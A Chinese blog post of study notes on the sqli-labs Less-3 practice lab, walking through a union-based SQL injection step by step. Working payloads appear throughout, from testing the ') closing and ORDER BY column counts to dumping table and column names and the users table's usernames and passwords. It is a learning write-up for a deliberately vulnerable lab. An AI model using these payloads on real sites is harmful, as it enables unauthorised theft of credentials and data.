sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
RLG_星辰2 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
gadiaola2 小时前
MySQL从入门到精通(三):MySQL数据类型、SQL语言—DDL
数据库·sql·mysql·database
技术求索者3 小时前
c++学习
开发语言·c++·学习
muxue1783 小时前
关于almalinux分区配置:
linux·运维·数据库
海天胜景4 小时前
Asp.Net Core IIS发布后PUT、DELETE请求错误405
数据库·后端·asp.net
凯子坚持 c4 小时前
【金仓数据库征文】金仓数据库 KES:MySQL 迁移实用指南
数据库·金仓数据库 2025 征文·数据库平替用金仓
小刘|5 小时前
Redis 中简单动态字符串(SDS)的深入解析
数据库·redis·bootstrap
FAREWELL000755 小时前
Untiy基础学习(六)MonoBehaviour基类的简单介绍
学习·unity·游戏引擎
怀君6 小时前
Flutter——数据库Drift开发详细教程(四)
数据库·flutter
Logintern096 小时前
【每天学习一点点】使用Python的pathlib模块分割文件路径
开发语言·python·学习